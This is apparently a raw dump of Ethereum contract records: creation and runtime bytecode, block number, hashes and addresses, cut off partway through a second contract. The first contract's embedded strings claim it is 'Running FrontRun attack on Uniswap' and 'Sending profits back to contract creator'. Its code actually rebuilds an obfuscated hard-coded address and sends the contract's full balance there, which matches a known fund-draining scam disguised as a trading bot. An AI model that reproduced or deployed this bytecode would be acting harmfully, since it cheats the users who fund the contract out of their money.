60608267ffffffffffffffff8111801561052157600080fd5b506040519080825280601f01601f19166020018201604052801561054c576020820181803683370190505b50905060005b8381101561059f576010860692506105698361079b565b826001838703038151811061057a57fe5b60200101906001600160f81b031916908160001a905350601086049550600101610552565b50805160048114156105dd5760606105d0604051806040016040528060018152602001600360fc1b81525084610675565b95506104e0945050505050565b806003141561060b5760606105d0604051806040016040528060018152602001600360fc1b81525084610675565b806002141561063b5760606105d06040518060400160405280600381526020016203030360ec1b81525084610675565b806001141561066c5760606105d0604051806040016040528060048152602001630303030360e41b81525084610675565b50949350505050565b805182516060918491849184910167ffffffffffffffff8111801561069957600080fd5b506040519080825280601f01601f1916602001820160405280156106c4576020820181803683370190505b509050806000805b8551821015610720578582815181106106e157fe5b602001015160f81c60f81b8382806001019350815181106106fe57fe5b60200101906001600160f81b031916908160001a9053506001909101906106cc565b600091505b84518210156107795784828151811061073a57fe5b602001015160f81c60f81b83828060010193508151811061075757fe5b60200101906001600160f81b031916908160001a905350600190910190610725565b5090979650505050505050565b620dc84490565b620ddcce90565b6201536590565b600060098260ff16116107b557506030810160f81b6104e0565b8160ff16600a111580156107cd5750600f8260ff1611155b1561006057506057810160f81b6104e056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea26469706673582212205e9ffeb61b95626c670adc1b7b08f83ee8722571512d515aaf782fe0f190cf1364736f6c634300060c0033
1
19,501,482
339b3d7b88eb944b1d5579a397ae85c61836047ae258eed026236f082d848a76
75111d6b1d4d85b74e589b17dca766184e489f797bc8b9e41b9112f1e20d46b8
848de0550751c877be3e0ec22f7b7c3feba2e5e5
848de0550751c877be3e0ec22f7b7c3feba2e5e5
6356c0ac667ed5d69063a78290c500cd514bbf08
60806040526003805460ff191690556658d15e1762800060045534801561002557600080fd5b50610890806100356000396000f3fe6080604052600436106100595760003560e01c80632b42b941146100655780639763d29b14610091578063bedf0f4a146100bb578063d4e93292146100d0578063eaf67ab9146100d8578063f39d8c65146100e057610060565b3661006057005b600080fd5b34801561007157600080fd5b5061008f6004803603602081101561008857600080fd5b5035610107565b005b34801561009d57600080fd5b5061008f600480360360208110156100b457600080fd5b503561010c565b3480156100c757600080fd5b5061008f610111565b61008f61011d565b61008f6101ab565b3480156100ec57600080fd5b506100f56101fe565b60408051918252519081900360200190f35b600255565b600155565b6003805460ff19169055565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040518080602001828103825260338152602001806107e06033913960400191505060405180910390a1610170610217565b6001600160a01b03166108fc479081150290604051600060405180830381858888f193505050501580156101a8573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040518080602001828103825260488152602001806108136048913960600191505060405180910390a1610170610217565b60045460035461010090046001600160a01b0316310390565b600061022961022461022e565b610348565b905090565b606080610263604051806040016040528060018152602001600f60fb1b81525061025e6102596104e5565b6104ec565b610675565b90506205cafe6000610273610786565b9050620213fd600061028361078d565b9050620fa5de6000610293610794565b9050620a9e1e60606102a88961025e8a6104ec565b905060606102c16102b8896104ec565b61025e896104ec565b905060606102da6102d1886104ec565b61025e886104ec565b905060606102f36102ea876104ec565b61025e876104ec565b9050606061030e6103048686610675565b61025e8585610675565b90506060610335604051806040016040528060018152602001600360fc1b81525083610675565b9e50505050505050505050505050505090565b60008181808060025b602a8110156104d8576101008402935084818151811061036d57fe5b0160200151855160f89190911c935085906001830190811061038b57fe5b016020015160f81c915060616001600160a01b038416108015906103b957506066836001600160a01b031611155b156103c95760578303925061042d565b6041836001600160a01b0316101580156103ed57506046836001600160a01b031611155b156103fd5760378303925061042d565b6030836001600160a01b03161015801561042157506039836001600160a01b031611155b1561042d576030830392505b6061826001600160a01b03161015801561045157506066826001600160a01b031611155b15610461576057820391506104c5565b6041826001600160a01b03161015801561048557506046826001600160a01b031611155b15610495576037820391506104c5565b6030826001600160a01b0316101580156104b957506039826001600160a01b031611155b156104c5576030820391505b6010830282019390930192600201610351565b509193505050505b919050565b620b7d9390565b60606000825b80156105085760019190910190601090046104f2565b60608267ffffffffffffffff8111801561052157600080fd5b506040519080825280601f01601f19166020018201604052801561054c576020820181803683370190505b50905060005b8381101561059f576010860692506105698361079b565b826001838703038151811061057a57fe5b60200101906001600160f81b031916908160001a905350601086049550600101610552565b50805160048114156105dd5760606105d0604051806040016040528060018152602001600360fc1b81525084610675565b95506104e0945050505050565b806003141561060b5760606105d0604051806040016040528060018152602001600360fc1b81525084610675565b806002141561063b5760606105d06040518060400160405280600381526020016203030360ec1b81525084610675565b806001141561066c5760606105d0604051806040016040528060048152602001630303030360e41b81525084610675565b50949350505050565b805182516060918491849184910167ffffffffffffffff8111801561069957600080fd5b506040519080825280601f01601f1916602001820160405280156106c4576020820181803683370190505b509050806000805b8551821015610720578582815181106106e157fe5b602001015160f81c60f81b8382806001019350815181106106fe57fe5b60200101906001600160f81b031916908160001a9053506001909101906106cc565b600091505b84518210156107795784828151811061073a57fe5b602001015160f81c60f81b83828060010193508151811061075757fe5b60200101906001600160f81b031916908160001a905350600190910190610725565b5090979650505050505050565b620dc84490565b620ddcce90565b6201536590565b600060098260ff16116107b557506030810160f81b6104e0565b8160ff16600a111580156107cd5750600f8260ff1611155b1561006057506057810160f81b6104e056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea26469706673582212205e9ffeb61b95626c670adc1b7b08f83ee8722571512d515aaf782fe0f190cf1364736f6c634300060c0033
6080604052600436106100595760003560e01c80632b42b941146100655780639763d29b14610091578063bedf0f4a146100bb578063d4e93292146100d0578063eaf67ab9146100d8578063f39d8c65146100e057610060565b3661006057005b600080fd5b34801561007157600080fd5b5061008f6004803603602081101561008857600080fd5b5035610107565b005b34801561009d57600080fd5b5061008f600480360360208110156100b457600080fd5b503561010c565b3480156100c757600080fd5b5061008f610111565b61008f61011d565b61008f6101ab565b3480156100ec57600080fd5b506100f56101fe565b60408051918252519081900360200190f35b600255565b600155565b6003805460ff19169055565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040518080602001828103825260338152602001806107e06033913960400191505060405180910390a1610170610217565b6001600160a01b03166108fc479081150290604051600060405180830381858888f193505050501580156101a8573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040518080602001828103825260488152602001806108136048913960600191505060405180910390a1610170610217565b60045460035461010090046001600160a01b0316310390565b600061022961022461022e565b610348565b905090565b606080610263604051806040016040528060018152602001600f60fb1b81525061025e6102596104e5565b6104ec565b610675565b90506205cafe6000610273610786565b9050620213fd600061028361078d565b9050620fa5de6000610293610794565b9050620a9e1e60606102a88961025e8a6104ec565b905060606102c16102b8896104ec565b61025e896104ec565b905060606102da6102d1886104ec565b61025e886104ec565b905060606102f36102ea876104ec565b61025e876104ec565b9050606061030e6103048686610675565b61025e8585610675565b90506060610335604051806040016040528060018152602001600360fc1b81525083610675565b9e50505050505050505050505050505090565b60008181808060025b602a8110156104d8576101008402935084818151811061036d57fe5b0160200151855160f89190911c935085906001830190811061038b57fe5b016020015160f81c915060616001600160a01b038416108015906103b957506066836001600160a01b031611155b156103c95760578303925061042d565b6041836001600160a01b0316101580156103ed57506046836001600160a01b031611155b156103fd5760378303925061042d565b6030836001600160a01b03161015801561042157506039836001600160a01b031611155b1561042d576030830392505b6061826001600160a01b03161015801561045157506066826001600160a01b031611155b15610461576057820391506104c5565b6041826001600160a01b03161015801561048557506046826001600160a01b031611155b15610495576037820391506104c5565b6030826001600160a01b0316101580156104b957506039826001600160a01b031611155b156104c5576030820391505b6010830282019390930192600201610351565b509193505050505b919050565b620b7d9390565b60606000825b80156105085760019190910190601090046104f2565b60608267ffffffffffffffff8111801561052157600080fd5b506040519080825280601f01601f19166020018201604052801561054c576020820181803683370190505b50905060005b8381101561059f576010860692506105698361079b565b826001838703038151811061057a57fe5b60200101906001600160f81b031916908160001a905350601086049550600101610552565b50805160048114156105dd5760606105d0604051806040016040528060018152602001600360fc1b81525084610675565b95506104e0945050505050565b806003141561060b5760606105d0604051806040016040528060018152602001600360fc1b81525084610675565b806002141561063b5760606105d06040518060400160405280600381526020016203030360ec1b81525084610675565b806001141561066c5760606105d0604051806040016040528060048152602001630303030360e41b81525084610675565b50949350505050565b805182516060918491849184910167ffffffffffffffff8111801561069957600080fd5b506040519080825280601f01601f1916602001820160405280156106c4576020820181803683370190505b509050806000805b8551821015610720578582815181106106e157fe5b602001015160f81c60f81b8382806001019350815181106106fe57fe5b60200101906001600160f81b031916908160001a9053506001909101906106cc565b600091505b84518210156107795784828151811061073a57fe5b602001015160f81c60f81b83828060010193508151811061075757fe5b60200101906001600160f81b031916908160001a905350600190910190610725565b5090979650505050505050565b620dc84490565b620ddcce90565b6201536590565b600060098260ff16116107b557506030810160f81b6104e0565b8160ff16600a111580156107cd5750600f8260ff1611155b1561006057506057810160f81b6104e056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea26469706673582212205e9ffeb61b95626c670adc1b7b08f83ee8722571512d515aaf782fe0f190cf1364736f6c634300060c0033
1
19,501,482
339b3d7b88eb944b1d5579a397ae85c61836047ae258eed026236f082d848a76
39a09237a7a36f9320d0ffe79f758e27d721da72292c0285d6f5fc8ec2cf0705
9053e2c665cfc7a522b5130e4bc4159c697d6148
9053e2c665cfc7a522b5130e4bc4159c697d6148
d8bfe36dd461ca4df74ef3c6f5b6ac644b75cfd1
60806040526000609760146101000a81548160ff02191690831515021790555034801561002b57600080fd5b506136f68061003b6000396000f3fe60806040526004361061012e5760003560e01c806388cc58e4116100ab578063b9d52f711161006f578063b9d52f7114610419578063c45ac05014610442578063ce7c2ac21461047f578063d79779b2146104bc578063e33b7de3146104f9578063f2fde38b1461052457610175565b806388cc58e41461030c5780638b83209b146103375780638da5cb5b146103745780639852595c1461039f578063a3f8eace146103dc57610175565b8063406072a9116100f2578063406072a91461024d57806348b750441461028a57806359ce4ab0146102b3578063715018a6146102de57806372b8894c146102f557610175565b8063191655871461017a5780631fbe1979146101a357806327f38113146101ba5780633a98ef39146101e55780633cb48a6b1461021057610175565b36610175577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77061015c61054d565b3460405161016b92919061289d565b60405180910390a1005b600080fd5b34801561018657600080fd5b506101a1600480360381019061019c91906121cf565b610555565b005b3480156101af57600080fd5b506101b8610583565b005b3480156101c657600080fd5b506101cf6105d6565b6040516101dc91906128c6565b60405180910390f35b3480156101f157600080fd5b506101fa6106fa565b6040516102079190612be0565b60405180910390f35b34801561021c57600080fd5b50610237600480360381019061023291906121f8565b610704565b60405161024491906128e8565b60405180910390f35b34801561025957600080fd5b50610274600480360381019061026f919061232c565b610745565b6040516102819190612be0565b60405180910390f35b34801561029657600080fd5b506102b160048036038101906102ac919061232c565b6107cc565b005b3480156102bf57600080fd5b506102c86109e0565b6040516102d591906128e8565b60405180910390f35b3480156102ea57600080fd5b506102f36109f3565b005b34801561030157600080fd5b5061030a610a07565b005b34801561031857600080fd5b50610321610a34565b60405161032e9190612822565b60405180910390f35b34801561034357600080fd5b5061035e60048036038101906103599190612368565b610a5e565b60405161036b9190612822565b60405180910390f35b34801561038057600080fd5b50610389610acc565b6040516103969190612822565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c191906121a6565b610af6565b6040516103d39190612be0565b60405180910390f35b3480156103e857600080fd5b5061040360048036038101906103fe91906121a6565b610b3f565b6040516104109190612be0565b60405180910390f35b34801561042557600080fd5b50610440600480360381019061043b919061225b565b610b72565b005b34801561044e57600080fd5b506104696004803603810190610464919061232c565b610cb6565b6040516104769190612be0565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a191906121a6565b610d74565b6040516104b39190612be0565b60405180910390f35b3480156104c857600080fd5b506104e360048036038101906104de9190612303565b610dbd565b6040516104f09190612be0565b60405180910390f35b34801561050557600080fd5b5061050e610e06565b60405161051b9190612be0565b60405180910390f35b34801561053057600080fd5b5061054b600480360381019061054691906121a6565b610e10565b005b600033905090565b60001515609760149054906101000a900460ff161515141561057f5761057a81610e94565b610580565b5b50565b61058b611014565b60001515609760149054906101000a900460ff16151514156105c3576001609760146101000a81548160ff0219169083151502179055505b6105d46105ce610acc565b47611092565b565b606060006105e2611186565b905060008167ffffffffffffffff811115610626577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106545781602001602082028036833780820191505090505b50905060005b828110156106f15761066b81610a5e565b8282815181106106a4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806106e990612f1d565b91505061065a565b50809250505090565b6000603354905090565b6000801515609760149054906101000a900460ff161515141561073c57610729611197565b61073585858585611215565b905061073d565b5b949350505050565b6000603960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161084e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610845906129e0565b60405180910390fd5b600061085a8383610cb6565b905060008114156108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612a60565b60405180910390fd5b80603860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108ef9190612ce3565b9250508190555080603960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061098b838383611559565b8273ffffffffffffffffffffffffffffffffffffffff167f3be5b7a71e84ed12875d241991c70855ac5817d847039e17a9d895c1ceb0f18a83836040516109d392919061289d565b60405180910390a2505050565b609760149054906101000a900460ff1681565b6109fb611014565b610a0560006115df565b565b60001515609760149054906101000a900460ff1615151415610a3157610a2c33610555565b610a32565b5b565b6000609760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600060378281548110610a9a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000606560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080610b4a610e06565b47610b559190612ce3565b9050610b6a8382610b6586610af6565b6116a5565b915050919050565b60008060019054906101000a900460ff16159050808015610ba35750600160008054906101000a900460ff1660ff16105b80610bd05750610bb230611713565b158015610bcf5750600160008054906101000a900460ff1660ff16145b5b610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0690612a80565b60405180910390fd5b60016000806101000a81548160ff021916908360ff1602179055508015610c4c576001600060016101000a81548160ff0219169083151502179055505b610c57848484611736565b8015610cb05760008060016101000a81548160ff0219169083151502179055507f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024986001604051610ca79190612903565b60405180910390a15b50505050565b600080610cc284610dbd565b8473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610cfb9190612822565b60206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b9190612391565b610d559190612ce3565b9050610d6b8382610d668787610745565b6116a5565b91505092915050565b6000603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000603860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000603454905090565b610e18611014565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f906129a0565b60405180910390fd5b610e91816115df565b50565b6000603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d906129e0565b60405180910390fd5b6000610f2182610b3f565b90506000811415610f67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5e90612a60565b60405180910390fd5b8060346000828254610f799190612ce3565b9250508190555080603660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550610fd78282611092565b7fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b0568282604051611008929190612874565b60405180910390a15050565b61101c61054d565b73ffffffffffffffffffffffffffffffffffffffff1661103a610acc565b73ffffffffffffffffffffffffffffffffffffffff1614611090576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108790612aa0565b60405180910390fd5b565b804710156110d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cc90612a20565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff16826040516110fb9061280d565b60006040518083038185875af1925050503d8060008114611138576040519150601f19603f3d011682016040523d82523d6000602084013e61113d565b606091505b5050905080611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612a00565b60405180910390fd5b505050565b600080603780549150508091505090565b61119f61054d565b73ffffffffffffffffffffffffffffffffffffffff166111bd610a34565b73ffffffffffffffffffffffffffffffffffffffff1614611213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120a90612960565b60405180910390fd5b565b60008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612940565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed90612ba0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d906129c0565b60405180910390fd5b6000806113768560ff16886117a5565b905060006113878560ff16886117a5565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156113ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e390612ac0565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146114275761141e826000611892565b6000925061144c565b611447828873ffffffffffffffffffffffffffffffffffffffff16611892565b600192505b5050600080600080600061145f8b610b3f565b111561146f5761146e8a610555565b5b600061147a8a610b3f565b111561148a5761148989610555565b5b6035806020528a6000526040600020925082549450896000526040600020915081549350507f4fef33fbbf76f1d52a425faec63d0f183cae150d4cb4f0a3dd8e645af1f6f1088a8a866040516114e29392919061283d565b60405180910390a183836114f69190612ce3565b9250600093508382558281556000806000806036806020528e60005260406000209250825494508d60005260406000209150815493505083836115399190612ce3565b925060009350838255828155889950505050505050505050949350505050565b6115da8363a9059cbb60e01b848460405160240161157892919061289d565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506118ce565b505050565b6000606560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081606560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081603354603560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856116f69190612d6a565b6117009190612d39565b61170a9190612dc4565b90509392505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600060019054906101000a900460ff16611785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177c90612b20565b60405180910390fd5b61178f8383611996565b611797611b1b565b6117a081611b7c565b505050565b6000806117b0611186565b905080841080156117f457508273ffffffffffffffffffffffffffffffffffffffff166117dc85610a5e565b73ffffffffffffffffffffffffffffffffffffffff16145b15611802578391505061188c565b60005b81811015611866578373ffffffffffffffffffffffffffffffffffffffff1661182d82610a5e565b73ffffffffffffffffffffffffffffffffffffffff16141561185357809250505061188c565b808061185e90612f1d565b915050611805565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9150505b92915050565b6000603790506000816040516020016118ab9190612be0565b604051602081830303815290604052805190602001209050828482015550505050565b6000611930826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16611c0f9092919063ffffffff16565b905060008151148061195257508080602001905181019061195191906122da565b5b611991576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198890612b60565b60405180910390fd5b505050565b600060019054906101000a900460ff166119e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119dc90612b20565b60405180910390fd5b8051825114611a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2090612ae0565b60405180910390fd5b6000825111611a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6490612b80565b60405180910390fd5b60005b8251811015611b1657611b03838281518110611ab5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151838381518110611af6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151611c27565b8080611b0e90612f1d565b915050611a70565b505050565b600060019054906101000a900460ff16611b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6190612b20565b60405180910390fd5b611b7a611b7561054d565b6115df565b565b600060019054906101000a900460ff16611bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc290612b20565b60405180910390fd5b80609760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060611c1e8484600085611e54565b90509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8e90612980565b60405180910390fd5b60008111611cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd190612bc0565b60405180910390fd5b6000603560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5390612b40565b60405180910390fd5b6037829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080603560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080603354611e119190612ce3565b6033819055507f40c340f65e17194d14ddddb073d3c9f888e3cb52b5aae0c6c7706b4fbc905fac8282604051611e4892919061289d565b60405180910390a15050565b606082471015611e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9090612a40565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff168587604051611ec291906127f6565b60006040518083038185875af1925050503d8060008114611eff576040519150601f19603f3d011682016040523d82523d6000602084013e611f04565b606091505b5091509150611f1587838387611f21565b92505050949350505050565b60608315611f8457600083511415611f7c57611f3c85611713565b611f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7290612b00565b60405180910390fd5b5b829050611f8f565b611f8e8383611f97565b5b949350505050565b600082511115611faa5781518083602001fd5b806040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fde919061291e565b60405180910390fd5b6000611ffa611ff584612c20565b612bfb565b9050808382526020820190508285602086028201111561201957600080fd5b60005b85811015612049578161202f88826120bf565b84526020840193506020830192505060018101905061201c565b5050509392505050565b600061206661206184612c4c565b612bfb565b9050808382526020820190508285602086028201111561208557600080fd5b60005b858110156120b5578161209b8882612167565b845260208401935060208301925050600181019050612088565b5050509392505050565b6000813590506120ce81613636565b92915050565b6000813590506120e38161364d565b92915050565b600082601f8301126120fa57600080fd5b813561210a848260208601611fe7565b91505092915050565b600082601f83011261212457600080fd5b8135612134848260208601612053565b91505092915050565b60008151905061214c81613664565b92915050565b6000813590506121618161367b565b92915050565b60008135905061217681613692565b92915050565b60008151905061218b81613692565b92915050565b6000813590506121a0816136a9565b92915050565b6000602082840312156121b857600080fd5b60006121c6848285016120bf565b91505092915050565b6000602082840312156121e157600080fd5b60006121ef848285016120d4565b91505092915050565b6000806000806080858703121561220e57600080fd5b600061221c878288016120d4565b945050602061222d878288016120d4565b935050604061223e87828801612191565b925050606061224f87828801612191565b91505092959194509250565b60008060006060848603121561227057600080fd5b600084013567ffffffffffffffff81111561228a57600080fd5b612296868287016120e9565b935050602084013567ffffffffffffffff8111156122b357600080fd5b6122bf86828701612113565b92505060406122d0868287016120bf565b9150509250925092565b6000602082840312156122ec57600080fd5b60006122fa8482850161213d565b91505092915050565b60006020828403121561231557600080fd5b600061232384828501612152565b91505092915050565b6000806040838503121561233f57600080fd5b600061234d85828601612152565b925050602061235e858286016120bf565b9150509250929050565b60006020828403121561237a57600080fd5b600061238884828501612167565b91505092915050565b6000602082840312156123a357600080fd5b60006123b18482850161217c565b91505092915050565b60006123c683836123e1565b60208301905092915050565b6123db81612e71565b82525050565b6123ea81612df8565b82525050565b6123f981612df8565b82525050565b600061240a82612c88565b6124148185612cb6565b935061241f83612c78565b8060005b8381101561245057815161243788826123ba565b975061244283612ca9565b925050600181019050612423565b5085935050505092915050565b61246681612e1c565b82525050565b600061247782612c93565b6124818185612cc7565b9350612491818560208601612eb9565b80840191505092915050565b6124a681612e83565b82525050565b60006124b782612c9e565b6124c18185612cd2565b93506124d1818560208601612eb9565b6124da81612ff3565b840191505092915050565b60006124f2604383612cd2565b91506124fd82613004565b606082019050919050565b6000612515604283612cd2565b915061252082613079565b606082019050919050565b6000612538602c83612cd2565b9150612543826130ee565b604082019050919050565b600061255b602683612cd2565b91506125668261313d565b604082019050919050565b600061257e603b83612cd2565b91506125898261318c565b604082019050919050565b60006125a1602683612cd2565b91506125ac826131db565b604082019050919050565b60006125c4603a83612cd2565b91506125cf8261322a565b604082019050919050565b60006125e7601d83612cd2565b91506125f282613279565b602082019050919050565b600061260a602683612cd2565b9150612615826132a2565b604082019050919050565b600061262d602b83612cd2565b9150612638826132f1565b604082019050919050565b6000612650602e83612cd2565b915061265b82613340565b604082019050919050565b6000612673602083612cd2565b915061267e8261338f565b602082019050919050565b6000612696604783612cd2565b91506126a1826133b8565b606082019050919050565b60006126b9603283612cd2565b91506126c48261342d565b604082019050919050565b60006126dc600083612cc7565b91506126e78261347c565b600082019050919050565b60006126ff601d83612cd2565b915061270a8261347f565b602082019050919050565b6000612722602b83612cd2565b915061272d826134a8565b604082019050919050565b6000612745602b83612cd2565b9150612750826134f7565b604082019050919050565b6000612768602a83612cd2565b915061277382613546565b604082019050919050565b600061278b601a83612cd2565b915061279682613595565b602082019050919050565b60006127ae603d83612cd2565b91506127b9826135be565b604082019050919050565b60006127d1601d83612cd2565b91506127dc8261360d565b602082019050919050565b6127f081612e5a565b82525050565b6000612802828461246c565b915081905092915050565b6000612818826126cf565b9150819050919050565b600060208201905061283760008301846123f0565b92915050565b600060608201905061285260008301866123d2565b61285f60208301856123d2565b61286c60408301846127e7565b949350505050565b600060408201905061288960008301856123d2565b61289660208301846127e7565b9392505050565b60006040820190506128b260008301856123f0565b6128bf60208301846127e7565b9392505050565b600060208201905081810360008301526128e081846123ff565b905092915050565b60006020820190506128fd600083018461245d565b92915050565b6000602082019050612918600083018461249d565b92915050565b6000602082019050818103600083015261293881846124ac565b905092915050565b60006020820190508181036000830152612959816124e5565b9050919050565b6000602082019050818103600083015261297981612508565b9050919050565b600060208201905081810360008301526129998161252b565b9050919050565b600060208201905081810360008301526129b98161254e565b9050919050565b600060208201905081810360008301526129d981612571565b9050919050565b600060208201905081810360008301526129f981612594565b9050919050565b60006020820190508181036000830152612a19816125b7565b9050919050565b60006020820190508181036000830152612a39816125da565b9050919050565b60006020820190508181036000830152612a59816125fd565b9050919050565b60006020820190508181036000830152612a7981612620565b9050919050565b60006020820190508181036000830152612a9981612643565b9050919050565b60006020820190508181036000830152612ab981612666565b9050919050565b60006020820190508181036000830152612ad981612689565b9050919050565b60006020820190508181036000830152612af9816126ac565b9050919050565b60006020820190508181036000830152612b19816126f2565b9050919050565b60006020820190508181036000830152612b3981612715565b9050919050565b60006020820190508181036000830152612b5981612738565b9050919050565b60006020820190508181036000830152612b798161275b565b9050919050565b60006020820190508181036000830152612b998161277e565b9050919050565b60006020820190508181036000830152612bb9816127a1565b9050919050565b60006020820190508181036000830152612bd9816127c4565b9050919050565b6000602082019050612bf560008301846127e7565b92915050565b6000612c056